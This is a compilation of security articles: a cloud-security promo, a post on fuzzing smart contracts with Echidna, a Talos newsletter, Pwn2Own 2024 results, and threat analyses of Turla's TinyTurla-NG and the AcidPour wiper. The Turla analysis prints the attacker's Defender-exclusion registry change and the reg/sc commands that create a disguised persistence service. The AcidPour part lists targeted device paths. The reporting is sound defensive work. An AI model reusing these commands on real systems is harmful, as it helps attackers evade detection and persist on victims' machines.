  • Greater control: Enhanced policy exclusion writing tools offer greater control over security policies, allowing organizations to more easily manage access, data and services within their cloud infrastructure while giving the owners of containers and assets the visibility to address areas most critical to them so they can focus on what matters.
  • Faster remediation for developers: Using enhanced image assessment policies, developers will be able to more quickly understand why a policy has failed a container image and be able to rapidly address issues before they can pose a greater security risk. 
  • Maintain Image Integrity: By creating new policies and rules, security administrators will be able to ensure only secure images are built or deployed.    
  • Scalability: As businesses grow and evolve, so do their security needs. CrowdStrike’s customizable cloud policies are designed to scale seamlessly, ensuring security measures remain effective and relevant regardless of organizational size or complexity.

These enhancements are designed to improve container image security, reduce the risks associated with non-compliance, and improve the collaboration and responsiveness of security and developer teams. These changes continue to build on the rapid innovations across Falcon Cloud Security to stop breaches in the cloud.  

Delivered from the AI-native CrowdStrike Falcon Platform

The release of IAR and new policy enhancements are more than just incremental updates — they represent a shift in container security. By integrating security measures throughout the entire lifecycle of a container, from its initial deployment to its active phase in cloud environments, CrowdStrike is not just responding to the needs of the modern DevSecOps landscape but anticipating them, offering a robust, efficient and seamless solution for today’s security challenges. 

Unlike other vendors that may offer disjointed security components, CrowdStrike’s approach integrates elements across the entire cloud infrastructure. From hybrid to multi-cloud environments, everything is managed through a single, intuitive console within the AI-native CrowdStrike Falcon® platform. This unified cloud-native application protection platform (CNAPP) ensures organizations achieve the highest standards of security, effectively shielding against breaches with an industry-leading cloud security solution. The IAR feature, while pivotal, is just one component of this comprehensive CNAPP approach, underscoring CrowdStrike’s commitment to delivering unparalleled security solutions that meet and anticipate the adversaries’ attacks on cloud environments.

Get a free Cloud Security Risk Review and see Falcon Cloud Security in action for yourself.  

During the review, you will engage in a one-on-one session with a cloud security expert, evaluate your current cloud environment, and identify misconfigurations, vulnerabilities and potential cloud threats. 

Additional Resources

Why fuzzing over formal verification?

By Tarun Bansal, Gustavo Grieco, and Josselin Feist

We recently introduced our new offering, invariant development as a service. A recurring question that we are asked is, “Why fuzzing instead of formal verification?” And the answer is, “It’s complicated.”

We use fuzzing for most of our audits but have used formal verification methods in the past. In particular, we found symbolic execution useful in audits such as Sai, Computable, and Balancer. However, we realized through experience that fuzzing tools produce similar results but require significantly less skill and time.

In this blog post, we will examine why the two principal assertions in favor of formal verification often fall short: proving the absence of bugs is typically unattainable, and fuzzing can identify the same bugs that formal verification uncovers.

Proving the absence of bugs

One of the key selling points of formal verification over fuzzing is its ability to prove the absence of bugs. To do that, formal verification tools use mathematical representations to check whether a given invariant holds for all input values and states of the system.

While such a claim can be attainable on a simple codebase, it’s not always achievable in practice, especially with complex codebases, for the following reasons:

  • The code may need to be rewritten to be amenable to formal verification. This leads to the verification of a pseudo-copy of the target instead of the target itself. For example, the Runtime Verification team verified the pseudocode of the deposit contract for the ETH2.0 upgrade, as mentioned in this excerpt from their blog post:

    Specifically, we first rigorously formalized the incremental Merkle tree algorithm. Then, we extracted a pseudocode implementation of the algorithm employed in the deposit contract, and formally proved the correctness of the pseudocode implementation.

  • Complex code may require a custom summary of some functionality to be analyzed. In these situations, the verification relies on the custom summary to be correct, which shifts the responsibility of correctness to that summary. To build such a summary, users might need to use an additional custom language, such as CVL, which increases the complexity.
  • Loops and recursion may require adding manual constraints (e.g., unrolling the loop for only a given amount of time) to help the prover. For example, the Certora prover might unroll some loops for a fixed number of iterations and report any additional iteration as a violation, forcing further involvement from the user.
  • The solver can time out. If the tool relies on a solver for equations, finding a solution in a reasonable time may not be possible. In particular, proving code with a high number of nonlinear arithmetic operations or updates to storage or memory is challenging. If the solver times out, no guarantee can be provided.

So while proving the absence of bugs is a benefit of formal verification methods in theory, it may not be the case in practice.

Finding bugs

When formally verifying the code is not possible, formal verification tools can still be used as bug finding tools. However, the question remains, “Can formal verification find real bugs that cannot be found by a fuzzer?” At this point, wouldn’t it just be easier to use a fuzzer?

To answer this question, we looked at two bugs found using formal verification in MakerDAO and Compound and then attempted to find these same bugs with only a fuzzer. Spoiler alert: we succeeded.

We selected these two bugs because they were widely advertised as having been discovered through formal verification, and they affected two popular protocols. To our surprise, it was difficult to find public issues discovered solely through formal verification, in contrast with the many bugs found by fuzzing (see our security reviews).

Our fuzzer found both bugs in a matter of minutes, running on a typical development laptop. The bugs we evaluated, as well as the formal verification and fuzz testing harnesses we used to discover them, are available on our GitHub page about fuzzing formally verified contracts to reproduce popular security issues.

Fundamental invariant of DAI

MakerDAO found a bug in its live code after four years. You can read more about the bug in When Invariants Aren’t: DAI’s Certora Surprise. Using the Certora prover, MakerDAO found that the fundamental invariant of DAI, which is that the sum of all collateral-backed debt and unbacked debt should equal the sum of all DAI balances, could be violated in a specific case. The core issue is that calling the init function when a vault’s Rate state variable is zero and its Art state variable is nonzero changes the vault’s total debt, which violates the invariant checking sum of total debt and total DAI supply. The MakerDAO team concluded that calling the init function after calling the fold function is a path to break the invariant.

function sumOfDebt() public view returns (uint256) {
    uint256 length = ilkIds.length;
    uint256 sum = 0;
    for (uint256 i=0; i < length; ++i){
        sum = sum + ilks[ilkIds[i]].Art * ilks[ilkIds[i]].rate;
    }
    return sum;
}

function echidna_fund_eq() public view returns (bool) {
    return debt == vice + sumOfDebt();
}

Figure 1: Fundamental equation of DAI invariant in Solidity

We implemented the same invariant in Solidity, as shown in figure 1, and checked it with Echidna. To our surprise, Echidna violated the invariant and found a unique path to trigger the violation. Our implementation is available in the Testvat.sol file of the repository. Implementing the invariant was easy because the source code under test was small and required only logic to compute the sum of all debts. Echidna took less than a minute on an i5 12-GB RAM Linux machine to violate the invariant.

Liquidation of collateralized account in Compound V3 Comet

The Certora team used their Certora Prover to identify an interesting issue in the Compound V3 Comet smart contracts that allowed a fully collateralized account to be liquidated. The root cause of this issue was using an 8-bit mask for a 16-bit vector. The mask remains zero for the higher bits in the vector, which skips assets while calculating total collateral and results in the liquidation of the collateralized account. More on this issue can be found in the Formal Verification Report of Compound V3 (Comet).

function echidna_used_collateral() public view returns (bool) {
    for (uint8 i = 0; i < assets.length; ++i) {
        address asset = assets[i].asset;
        uint256 userColl = sumUserCollateral(asset, true);
        uint256 totalColl = comet.getTotalCollateral(asset);
        if (userColl != totalColl) {
            return false;
        }
    }
    return true;
}

function echidna_total_collateral_per_asset() public view returns (bool) {
    for (uint8 i = 0; i < assets.length; ++i) {
        address asset = assets[i].asset;
        uint256 userColl = sumUserCollateral(asset, false);
        uint256 totalColl = comet.getTotalCollateral(asset);
        if (userColl != totalColl) {
            return false;
        }
    }
    return true;
}

Figure 2: Compound V3 Comet invariant in Solidity

Echidna discovered the issue with the implementation of the invariant in Solidity, as shown in figure 2. This implementation is available in the TestComet.sol file in the repository. Implementing the invariant was easy; it required limiting the number of users interacting with the test contract and adding a method to calculate the sum of all user collateral. Echidna broke the invariant within minutes by generating random transaction sequences to deposit collateral and checking invariants.

Is formal verification doomed?

Formal verification tools require a lot of domain-specific knowledge to be used effectively and require significant engineering efforts to apply. Grigore Rosu, Runtime Verification’s CEO, summarized it as follows:

Figure 3: A tweet from the founder of Runtime Verification Inc.

While formal verification tools are constantly improving, which reduces the engineering effort, none of the existing tools reach the ease of use of existing fuzzers. For example, the Certora Prover makes formal verification more accessible than ever, but it is still far less user-friendly than a fuzzer for complex codebases. With the rapid development of these tools, we hope for a future where formal verification tools become as accessible as other dynamic analysis tools.

So does that mean we should never use formal verification? Absolutely not. In some cases, formally verifying a contract can provide additional confidence, but these situations are rare and context-specific.

Consider formal verification for your code only if the following are true:

  • You are following an invariant-driven development approach.
  • You have already tested many invariants with fuzzing.
  • You have a good understanding of which remaining invariants and components would benefit from formal methods.
  • You have solved all the other issues that would decrease your code maturity.

Writing good invariants is the key

Over the years, we have observed that the quality of invariants is paramount. Writing good invariants is 80% of the work; the tool used to check/verify them is important but secondary. Therefore, we recommend starting with the easiest and most effective technique—fuzzing—and relying on formal verification methods only when appropriate.

If you’re eager to refine your approach to invariants and integrate them into your development process, contact us to leverage our expertise.

“Pig butchering” is an evolution of a social engineering tactic we’ve seen for years

“Pig butchering” is an evolution of a social engineering tactic we’ve seen for years

Whether you want to call them “catfishing,” “pig butchering” or just good ‘old-fashioned “social engineering,” romance scams have been around forever.  

I was first introduced to them through the MTV show “Catfish,” but recently they seem to be making headlines as the term “pig butchering” enters the public lexicon. John Oliver recently covered it on “Last Week Tonight,” which means everyone my age with an HBO account heard about it a few weeks ago. And one of my favorite podcasts going, “Search Engine,” just covered it in an episode

The concept of “pig butchering” scams generally follows the same chain of events: 

  • An unknown phone number texts or messages a target with a generally harmless message, usually asking for a random name disguised as an “Oops, wrong number!” text. 
  • When the target responds, the actor tries to strike up a conversation with a friendly demeanor. 
  • If the conversation persists, they usually evolve into “love bombing,” including compliments, friendly advice, ego-boosting, and saying flattering things about any photos the target has sent. 
  • Sometimes, the relationship may turn romantic. 
  • The scammer eventually “butchers” the “pig” that has been “fattened up” to that point, scamming them into handing over money, usually in the form of a phony cryptocurrency app, or just straight up asking for the target to send the scammer money somehow. 

There are a few twists and turns along the way based on the exact scammer, but that’s generally how it works. What I think is important to remember is that this specific method of separating users from their money is not actually new.  

The FBI seems to release a renewed warning about romance scams every Valentine’s Day when people are more likely to fall for a stranger online wanting to make a real connection and then eventually asking for money. I even found a podcast from the FBI in 2015 in which they warned that scammers “promise love, romance, to entice their victims online,” estimating that romance-related scams cost consumers $82 million in the last half of 2014.  

The main difference that I can tell between “pig butchering” and past romance scams is the sheer scale. Many actors running these operations are relying on human trafficking and sometimes literal imprisonment, forcing these people against their will to send these mass blocks of messages to a variety of targets indiscriminately. Oftentimes in these groups, scammers who are less “successful” in luring victims can be verbally and physically harassed and punished. That is, of course, a horrible human toll that these operations are taking, but they also extend far beyond the world of cybersecurity. 

In the case of pig butchering scams, it’s not really anything that can be solved by a cybersecurity solution or sold in a package. Instead, it relies on user education and the involvement of law enforcement agencies and international governments to ensure these farms can’t operate in the shows. The founders who run them are brought to justice. 

It’s never a bad thing that users become more educated on these scams, because of that, but I also feel it’s important to remember that romance-related scams, and really any social engineering built on a personal “relationship,” has been around for years, and “pig butchering” is not something new that just started popping up. 

These types of scams are ones that our culture has kind of just accepted as part of daily life at this point (who doesn’t get surprised when they get a call about their “car’s extended warranty?), and now the infrastructure to support these scams is taking a larger human toll than ever. 

The one big thing 

Talos has yet another round of research into the Turla APT, and now we’re able to see the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclsions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service. 

Why do I care? 

Turla, and this recently discovered TinyTurlaNG tool that Talos has been writing about, is an international threat that’s been around for years, so it’s always important for the entire security community to know what they’re up to. Most recently, Turla used these tactics to target Polish non-governmental organizations (NGOs) and steal sensitive data.  

So now what? 

During Talos’ research into TinyTurla-NG, we’ve released several new rounds of detection content for Cisco Secure products. Read our past two blog posts on this actor for more.  

Top security headlines of the week 

The Biden administration issued a renewed warning to public water systems and operators this week, saying state-sponsored actors could carry out cyber attacks soon, citing ongoing threats from Iran and China. The White House and U.S. Environmental Protection Agency sent a letter to every U.S. governor this week warning them that cyber attacks could disrupt access to clean drinking water and “impose significant costs on affected communities.” The letter also points to the U.S. Cyber and Infrastructure Security Agency’s list of known exploited vulnerabilities catalog, asking the managers of public water systems to ensure their systems are patched against these vulnerabilities. The EPA pointed to Volt Typhoon, a recently discovered Chinese APT that has reportedly been hiding on critical infrastructure networks for an extended period. A meeting among federal government leaders from the EPA and other related agencies is scheduled for March 21 to discuss threats to public water systems and how they can strengthen their cybersecurity posture. (Bloomberg, The Verge

UnitedHealth says it's still recovering from a cyber attack that’s halted crucial payments to health care providers across the U.S., but has started releasing some of those funds this week, and expects its payment processing software to be back online soon. The cyber attack, first disclosed in February, targeted Change Healthcare, a subsidiary of United, that handles payment processing and pharmaceutical orders for hospital chains and doctors offices. UnitedHealth’s CEO said in a statement this week that the company has paid $2 billion to affected providers who spent nearly a month unable to obtain those funds or needing to switch to a paper billing system. A recently published survey from the American Hospital Association found that 94 percent of hospitals that responded experienced financial disruptions from the Change Healthcare attack, and costs at one point were hitting $1 million in revenue per day. (ABC News, CNBC

Nevada’s state court system is currently weighing a case that could undo end-to-end encryption across the U.S. The state’s Attorney General is currently suing Meta, the creators of Facebook, Instagram and WhatsApp, asking the company to remove end-to-end encryption for minors on the platform, with the promise of being able to catch and charge users who abuse the platform to lure minors. However, privacy advocates are concerned that any rulings against Meta and its encryption policies could have larger ripple effects, and embolden others to challenge encryption in other states. Nevada is arguing that Meta’s Messenger a “preferred method” for individuals targeting Nevada children for illicit activities. Privacy experts are in favor of end-to-end encryption because it safeguards messages during transmission and makes it more difficult for other parties to intercept and read them — including law enforcement agencies. (Tech Policy Press, Bloomberg Law

Can’t get enough Talos? 

Upcoming events where you can find Talos 

 

Botconf (April 23 - 26) 

Nice, Côte d'Azur, France

This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.

CARO Workshop 2024 (May 1 - 3) 

Arlington, Virginia

Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.

RSA (May 6 - 9) 

San Francisco, California    

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647 
MD5: bbcf7a68f4164a9f5f5cb2d9f30d9790 
Typical Filename: bbcf7a68f4164a9f5f5cb2d9f30d9790.vir 
Claimed Product: N/A 
Detection Name: Win.Dropper.Scar::1201 

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Typical Filename: VID001.exe  
Claimed Product: N/A  
Detection Name: Win.Worm.Coinminer::1201 

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
MD5: 7bdbd180c081fa63ca94f9c22c457376 
Typical Filename: c0dwjdi6a.dll |
Claimed Product: N/A  
Detection Name: Trojan.GenericKD.33515991 

SHA 256: 7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5 
MD5: ff1b6bb151cf9f671c929a4cbdb64d86 
Typical Filename: endpoint.query 
Claimed Product: Endpoint-Collector 
Detection Name: W32.File.MalParent 

SHA 256: e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3 
MD5: c16df0bfc6fda86dbfa8948a566d32c1 
Typical Filename: CEPlus.docm 
Claimed Product: N/A  
Detection Name: Doc.Downloader.Pwshell::mash.sr.sbx.vioc 

Pwn2Own Vancouver 2024 - Day Two Results

Welcome to the second and final day of Pwn2Own Vancouver 2024! We saw some amazing research yesterday, including a Tesla exploit and a single exploit hitting both Chrome and Edge. So far, we have paid out $723,500 for the event, and we’re poised to hit $1,000,000 again. Today looks to be just as exciting with more attempts in virtualization, browser sandbox escapes, and the Pwn2Own’s first ever Docker escape, so stay tuned for all of the results!


And that’s a wrap! Pwn2Own Vancouver 2024 has come to a close. In total, we awarded $1,132,500 for 29 unique 0-days. We’re also happy to award Manfred Paul with the title of Master of Pwn. He won $202,500 and 25 points total. Combining the last three events (Toronto, Automotive, and Vancouver), we’ve awarded $3,494,750 for this year’s Pwn2Own events. Here’s how the Top 10 of this event added up:

Congratulations to all the winners. We couldn’t hold this event without the hard work of the contestants. And thanks to the vendors as well. They now have 90 days to fix these vulnerabilities. Special thanks to Tesla for their sponsorship and support. For details of each of today’s exploits, see the entries below.


SUCCESS - Marcin Wiązowski used an improper input validation bug to escalate privileges on Windows 11. He earns $15,000 and 3 Master of Pwn points.

SUCCESS - STAR Labs SG's exploit of VMware Workstation used two bugs. One is an uninitialized variable, but the other was previously known. They still win $30,000 and 6 Master of Pwn points.

SUCCESS - ColdEye used two bugs, including a UAF, to exploit Oracle VirtualBox. He even managed to leave the guest OS intact. His guest-to-host escape earns him $20,000 and 4 Master of Pwn points.

SUCCESS - Manfred Paul (@_manfp) used an OOB Write for the RCE and an exposed dangerous function bug to achieve his sandbox escape of Mozilla Firefox. He earns another $100,000 and 10 Master of Pwn points, which puts him in the lead with 25.

SUCCESS - First time Pwn2Own contestant Gabriel Kirkpatrick (gabe_k of exploits.forsale) used an always tricky race condition to escalate privileges on #Windows 11. He earns $15,000 and 3 Master of Pwn points.

SUCCESS - Edouard Bochin (@le_douds) and Tao Yan (@Ga1ois) from Palo Alto Networks used an OOB Read plus a novel technique for defeating V8 hardening to get arbitrary code execution in the renderer. They were able to exploit Chrome and Edge with the same bugs, earning $42,500 and 9 Master of Pwn points.

BUG COLLISION - STAR Labs SG successfully demonstrated their privilege escalation on Ubuntu desktop. However, they used a bug that was previously reported. They still earn $5,000 and 1 Master of Pwn point.

BUG COLLISION - Although the Hackinside Team was able to escalate privileges on Windows 11 through an integer underflow, the bug was known by the vendor. They still earn $7,500 and 1.5 Master of Pwn points.

SUCCESS -Seunghyun Lee (@0x10n) of KAIST Hacking Lab used a UAF to RCE in the renderer on both Microsoft Edge and Google Chrome. He earns $85,000 and 9 Master of Pwn points. That brings his contest total to $145,000 and 15 Master of Pwn points.

SUCCESS - The first Docker desktop escape at Pwn2Own involved two bugs, including a UAF. The team from STAR Labs SG did great work in the demonstration and earned $60,000 and 6 Master of Pwn points.

SUCCESS - Valentina Palmiotti (@chompie1337) with IBM X-Force used an Improper Update of Reference Count bug to escalate privileges on Windows 11. She nailed her first #Pwn2Own event and walks away with $15,000 and 3 Master of Pwn points.

BUG COLLISION - The final entry of Pwn2Own Vancouver 2024 ends as a collision as Theori used a bug that was previously know to escalate privileges on Ubuntu desktop. He still wins $5,000 and 1 Master of Pwn point.

New details on TinyTurla’s post-compromise activity reveal full kill chain

New details on TinyTurla’s post-compromise activity reveal full kill chain

Cisco Talos is providing an update on its two recent reports on a new and ongoing campaign where Turla, a Russian espionage group, deployed their TinyTurla-NG (TTNG) implant. We now have new information on the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises. 

  • Talos’ analysis, in coordination with CERT.NGO, reveals that Turla infected multiple systems in the compromised network of a European non-governmental organization (NGO). 

  • The attackers compromised the first system, established persistence and added exclusions to anti-virus products running on these endpoints as part of their preliminary post-compromise actions. 

  • Turla then opened additional channels of communication via Chisel for data exfiltration and to pivot to additional accessible systems in the network.

Tracing Turla’s steps from compromise to exfiltration

Talos discovered that post-compromise activity carried out by Turla in this intrusion isn’t restricted to the sole deployment of their backdoors. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclusions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service.

Preliminary post-compromise activity and TinyTurla-NG deployment

After gaining initial access, Turla first adds exclusions in the anti-virus software, such as Microsoft Defender, to locations they will use to host the implant on the compromised systems.

ACTION

INTENT

HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths | 

“C:\Windows\System32\” = 0x0

[T1562.001] Impair Defenses: Disable or Modify Tools


Turla then sets up the persistence of the TinyTurla-NG implants using one or more batch (BAT) files. The batch files create a service on the system to persist the TTNG DLL on the system. 

ACTION

INTENT

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v sysman /t REG_MULTI_SZ /d "sdm" /f


reg add "HKLM\SYSTEM\CurrentControlSet\services\sdm\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\dcmd.dll" /f

[T1543.003] Create or Modify System Process: Windows Service

sc create sdm binPath= "c:\windows\system32\svchost.exe -k sysman" type= share start= auto

sc config sdm DisplayName= "System Device Manager"

sc description sdm "Creates and manages system-mode driver processes. This service cannot be stopped."


[T1543.003] Create or Modify System Process: Windows Service

This technique is identical to that used by Turla in 2021 to achieve persistence for their TinyTurla implants. However, we’re still unsure why the actor uses two different batch files, but it seems to be an unnecessarily convoluted approach to evade detections.

In the case of TTNG, the service is created with the name “sdm” masquerading as a “System Device Manager” service. 

New details on TinyTurla’s post-compromise activity reveal full kill chain
New details on TinyTurla’s post-compromise activity reveal full kill chain

Batch file contents.

The creation and start of the malicious service kick starts the execution of the TinyTurla-NG implant via svchost[.]exe (Windows’ service container). TinyTurla-NG is instrumented further to conduct additional reconnaissance of directories of interest and then copy files to a temporary staging directory on the infected system, followed by subsequent exfiltration to the C2. TinyTurla-NG is also used to deploy a custom-built Chisel beacon from the open-sourced offensive framework.

Custom Chisel usage

On deployment, Chisel will set up a reverse proxy tunnel to an attacker-controlled box [T1573.002 - Encrypted Channel: Asymmetric Cryptography]. We’ve observed that the attackers leveraged the chisel connection to the initially compromised system, to pivot to other systems in the network. 

The presence of Windows Remote Management (WinRM)-based connections on the target systems indicates that chisel was likely used in conjunction with other tools, such as proxy chains and evil-winrm to establish remote sessions. WinRM is Microsoft’s implementation of the WS-Management protocol and allows Windows-based systems to exchange information and be administered using scripts or built-in utilities.

The overall infection chain is visualized below.

New details on TinyTurla’s post-compromise activity reveal full kill chain

Turla tactics, tools and procedures flow.

Once the attackers have gained access to a new box, they will repeat their activities to create Microsoft Defender exclusions, drop the malware components, and create persistence, indicating that Turla follows a playbook that can be articulated as the following cyber kill chain.



New details on TinyTurla’s post-compromise activity reveal full kill chain

Cyber kill chain.

Analyzing the traffic originating from Chisel revealed the tool beaconed back to its C2 server every hour.

New details on TinyTurla’s post-compromise activity reveal full kill chain

While the infected systems were compromised as early as October 2023 and Chisel was deployed as late as December 2023, Turla operators conducted the majority of their data exfiltration over using Chisel much later on Jan. 12, 2024 [T1041 - Exfiltration Over C2 Channel].

New details on TinyTurla’s post-compromise activity reveal full kill chain

Coverage

Ways our customers can detect and block this threat are listed below.

New details on TinyTurla’s post-compromise activity reveal full kill chain

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.


IOCS

Hashes

267071df79927abd1e57f57106924dd8a68e1c4ed74e7b69403cdcdf6e6a453b

d6ac21a409f35a80ba9ccfe58ae1ae32883e44ecc724e4ae8289e7465ab2cf40

ad4d196b3d85d982343f32d52bffc6ebfeec7bf30553fa441fd7c3ae495075fc

13c017cb706ef869c061078048e550dba1613c0f2e8f2e409d97a1c0d9949346

b376a3a6bae73840e70b2fa3df99d881def9250b42b6b8b0458d0445ddfbc044 

Domains

hanagram[.]jpthefinetreats[.]com

caduff-sa[.]chjeepcarlease[.]com

buy-new-car[.]com

carleasingguru[.]com

IP Addresses

91[.]193[.]18[.]120

AcidPour | New Embedded Wiper Variant of AcidRain Appears in Ukraine

Executive Summary

  • SentinelLabs has discovered a novel malware variant of AcidRain, a wiper that rendered Eutelsat KA-SAT modems inoperative in Ukraine and caused additional disruptions throughout Europe at the onset of the Russian invasion.
  • The new malware, which we call AcidPour, expands upon AcidRain’s capabilities and destructive potential to now include Linux Unsorted Block Image (UBI) and Device Mapper (DM) logic, better targeting RAID arrays and large storage devices.
  • Our analysis confirms the connection between AcidRain and AcidPour, effectively connecting it to threat clusters previously publicly attributed to Russian military intelligence. CERT-UA has also attributed this activity to a Sandworm subcluster.
  • Specific targets of AcidPour have yet to be conclusively verified; however, the discovery coincides with the enduring disruption of multiple Ukrainian telecommunication networks, reportedly offline since March 13th.
  • The ISP attacks are being publicly claimed by a GRU-operated hacktivist persona via Telegram.

On March 16th, 2024, we identified a suspicious Linux binary uploaded from Ukraine. Initial analysis showed surface similarities with the infamous AcidRain wiper used to disable KA-SAT modems across Europe at the start of the Russian invasion of Ukraine (commonly identified by the ‘Viasat hack’ misnomer). Since our initial finding, no similar samples or variants have been detected or publicly reported until now. This new sample is a confirmed variant we refer to as ‘AcidPour’, a wiper with similar and expanded capabilities.

This is a threat to watch. My concern is elevated because this variant is a more powerful AcidRain variant, covering more hardware and operating system types. https://t.co/h0s6pJGuzv

— Rob Joyce (@NSA_CSDirector) March 19, 2024

Our technical analysis suggests that AcidPour’s expanded capabilities would enable it to better disable embedded devices including networking, IoT, large storage (RAIDs), and possibly ICS devices running Linux x86 distributions.

Following our initial reporting on Twitter, CyberScoop reported a claim from the Ukrainian SSCIP attributing our findings to UAC-0165, clustered as a subgroup under the outdated ‘Sandworm’ threat actor construct. We reported our initial findings to partners on Saturday, followed by the public analysis thread on Twitter. Our analysis is ongoing.

AcidRain Context

On February 24th, 2022, a cyber attack rendered Eutelsat KA-SAT modems inoperable in Ukraine. Spillover from this attack rendered 5,800 Enercon wind turbines in Germany unable to communicate for remote monitoring or control and reportedly affected vital services across Europe.

On March 30th, 2022, we identified a wiper component which we dubbed ‘AcidRain’ as a part of the attack chain that caused this disruption by rendering Surfbeam2 modems inoperable in an attempt to disable vital Ukrainian military communications at the start of the Russian invasion.

During our original analysis of AcidRain, we assessed with medium-confidence that there are developmental similarities between AcidRain and a VPNFilter stage 3 destructive plugin named ‘dstr’. In 2018, the FBI and Department of Justice attributed the VPNFilter campaign to the Russian government.

On May 10th, 2022, the European Union and its Member States issued an official condemnation of this activity, holding the Russian government responsible. Despite an abundance of wipers and cyber operations against Ukrainian targets in the subsequent months and years, we had not seen any further uses of AcidRain or similar components.

Enter AcidPour

On March 16th, 2024, we observed a new Linux wiper we are naming ‘AcidPour’. We alerted relevant partners immediately to stem the potential for any additional significant regional impact, followed by public dissemination of technical indicators and early analysis to alert the research community and encourage vigilance and contributions.

Our initial finding centered on surface similarities with AcidRain, so we placed a large emphasis on ascertaining whether a more conclusive relationship could be established between the two components at a technical level, as well as an understanding of its capabilities.

Technical Analysis

Where AcidRain is a Linux wiper compiled for MIPS architecture for compatibility with the devices targeted, AcidPour is compiled for x86 architecture. Despite both targeting Linux systems, the architecture mismatch somewhat limits our ability to compare the compiled codebases.

Notably, AcidRain was a hamfisted wiper rather than a specifically tailored solution. It operates by iterating over all possible devices in hardcoded paths, wiping each, before wiping essential directories. Its lack of specificity suggests a lack of familiarity (or time) to adapt to the specifics of the Surfbeam2 targets. However, that also means that AcidRain can serve as a more generic tool able to disable a wider swath of devices reliant on embedded Linux distributions.

MD5 1bde1e4ecc8a85cffef1cd4e5379aa44
SHA1 b5de486086eb2579097c141199d13b0838e7b631
SHA256 6a8824048417abe156a16455b8e29170f8347312894fde2aabe644c4995d7728
Size 17,388 bytes
Type ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Filename ‘tmphluyl8zn’
First Submitted 2024-03-16 14:42:53 UTC, Ukraine

The AcidPour variant is an ELF binary compiled for x86 (not MIPS), and while it refers to similar devices, the codebase has been modified and expanded to include additional capabilities. Our best automated attempts to compare across different architectures only yields a low confidence < 30% similarity.

BinDiff output comparing AcidRain (MIPS) and AcidPour (x86)
BinDiff output comparing AcidRain (MIPS) and AcidPour (x86)

We took that as a base measurement and proceeded to conduct a deep-dive analysis of the new binary with a focus on testing the hypothesis that the two are related variants, as well as detailing any net new capabilities.

Notable similarities include the use of the same reboot mechanism, the exact logic of the recursive directory wiping, and most importantly the use of the same IOCTL-based wiping mechanism used by both AcidRain and the VPNFilter plugin ‘dstr’.

Shared Reboot Mechanism

Recursive Directory Processing

Wiping Mechanisms

At the time of discovery, we noted the similarities between AcidRain’s IOCTLs-based device-wiping mechanism and the VPNFilter plugin ‘dstr’, pictured below:

AcidPour relies on the same device wiping mechanism:

AcidPour’s IOCTL-based wiping mechanism
AcidPour’s IOCTL-based wiping mechanism

AcidPour’s Net New Functionality

AcidPour expands upon AcidRain’s targeted linux devices to include Unsorted Block Image (UBI) and Device Mapper (DM) logic.

AcidRain’s supported devices:

/dev/sd* A generic block device
/dev/mtdblock* Flash memory (common in routers and IoT devices)
/dev/block/mtdblock* Another potential way of accessing flash memory
/dev/mtd* The device file for flash memory that supports fileops
/dev/mmcblk* For SD/MMC cards
/dev/block/mmcblk* Another potential way of accessing SD/MMC cards
/dev/loop* Virtual block devices

AcidRain targeted flash chips via MTD for raw access to flash memory in the form of /dev/mtdXX device paths. This capability is expanded in AcidPour to include /dev/ubiXX paths. UBI is an interface built on top of MTD to act as a wear-leveling and volume management system for flash memory. These devices are common in embedded systems dependent on flash memory like handhelds, IoT, networking, or in some cases ICS devices.

Block string array of device paths
Block string array of device paths

AcidPour also adds logic for handling /dev/dm-XX paths to access mapped devices. The device mapper framework enables logical volume management (LVM), abstracts physical storage into logical volumes for easier resizing, manipulation, and maintenance.

